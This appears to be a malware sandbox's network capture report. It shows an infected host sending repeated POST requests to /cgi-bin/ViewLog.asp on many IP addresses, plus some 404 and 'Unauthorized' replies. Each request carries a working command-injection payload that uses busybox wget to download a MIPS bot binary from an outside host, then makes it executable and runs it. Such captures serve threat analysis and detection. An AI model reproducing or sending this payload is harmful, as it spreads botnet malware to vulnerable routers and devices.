zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.13	33146	94.20.234.146	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:13.357127905 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.854161978 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.13	48616	94.16.15.118	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:13.483362913 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.13	33212	94.20.234.146	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:13.643460035 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.13	46612	31.136.172.87	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:14.563683987 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.766189098 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.13	52302	106.53.18.21	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:14.809125900 CET	219	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 32 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:23Auth Result: Invalid user.

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.13	33374	31.169.113.156	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:14.934207916 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:15.119771957 CET	755	IN	HTTP/1.0 404 Not Found !!! Pragma: no-cache Content-type: text/html WWW-Authenticate: /cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 63 65 6e 74 65 72 3e 0a 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 31 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 30 30 30 30 41 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 66 61 63 65 3d 22 41 72 69 61 6c 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 46 33 46 33 46 33 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 3d 22 23 30 30 30 30 38 30 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 64 61 72 6b 3d 22 23 30 30 30 30 38 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 69 6e 22 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html>
Nov 23, 2023 05:18:15.287343025 CET	755	IN	HTTP/1.0 404 Not Found !!! Pragma: no-cache Content-type: text/html WWW-Authenticate: /cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 63 65 6e 74 65 72 3e 0a 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 31 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 30 30 30 30 41 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 66 61 63 65 3d 22 41 72 69 61 6c 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 46 33 46 33 46 33 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 3d 22 23 30 30 30 30 38 30 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 64 61 72 6b 3d 22 23 30 30 30 30 38 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 69 6e 22 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.13	54366	94.30.1.177	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:14.934273958 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:15.116871119 CET	765	IN	HTTP/1.0 404 Not Found !!! Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-type: text/html <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.13	52328	106.53.18.21	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:15.501640081 CET	219	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 32 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:24Auth Result: Invalid user.

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.13	35008	94.120.35.203	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:15.745971918 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.13	60834	85.122.206.229	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:15.760251045 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.13	48450	85.69.31.206	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:15.928237915 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:16.486166000 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.606266022 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:19.814151049 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.13	42516	31.136.57.88	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:15.928848982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:16.486164093 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.606281042 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.070174932 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.13	41904	94.137.182.165	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:15.998506069 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; 